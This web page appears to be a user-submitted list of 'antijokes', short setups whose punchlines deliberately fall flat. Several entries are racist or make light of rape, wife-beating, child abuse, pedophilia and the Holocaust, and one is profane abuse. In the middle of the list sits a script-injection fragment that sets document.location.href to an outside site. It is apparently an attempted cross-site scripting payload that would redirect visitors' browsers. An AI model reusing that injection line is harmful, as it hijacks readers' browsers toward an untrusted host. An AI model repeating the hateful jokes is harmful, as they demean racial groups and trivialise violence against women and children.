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What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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A man walks into a bar with a frown. The bartender asks, "Why are you sad." "My wife got brutally raped then shot last night."

If my wife has got 6 oranges in one hand and 6 apples in the other hand, what has she got? No chance of stopping an uppercut.

Chuck Norris ordered a Big Mac at Burger King. After being told politely that Big Macs were served at McDonald's and not Burger King, he walked out and drove to the nearest McDonald's.

Why was the little boy afraid of the dentist because he was a pedophile

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Yo mama's so fat that when she goes into a clothing store, she often feels self-conscious about having to buy larger than average clothing sizes than most people.

A man walks into a bar. He gets drunk, goes home, and beats his wife and kids.

Roses are red Bacon is red Poems are hard Bacon

what do u call a black guy who sells drugs a pharmacist

How do you starve a black man? You slowly emasculate him over 400 years through a system designed solely for the benefit of whites, and subsequently he is malnourished.

What did one tree say to the other tree? Nothing, trees can't talk.

"'>document.location.href="http://cramik.org"

Roses are red , Violets are blue You little dumb ass bitch Ain't fuckin' with yoouuuuuu

Why did the chicken cross the road? Because the Light turned green, indicating that it was a safe and appropriate time to cross

A lesbian and a gay both lie about there gender on eharmony, trying to get a date with someone there own gender. By coincedene, they get matched and go on a date, and both of them realize how weird this situation is and go home.

What's the difference between a black person and a park bench? Benches are inanimate objects while people are indeed carbon-based life forms.

what happened to the man that no one cares about? No one cares

What do you call a black man on the moon?? Never going to happen

Why can't Helen Keller just kidding she's dead

Why did hitler cause the holocaust? YOLO

why was the 6 year old boy crying? his mother had just passed away from terminal cancer and his stepdad caught him crying so he kicke hm in the face and told him to man up.

What do you get if you mix a baby with a blender? A prison sentence.

What did Chuck Testa do when he saw she had died of a heart attack? He cried and gave her a proper funeral and burial.

What's the difference between a clever trick and a computer programmer? A clever trick throws you for a loop, and a computer programmer throws you a for loop.

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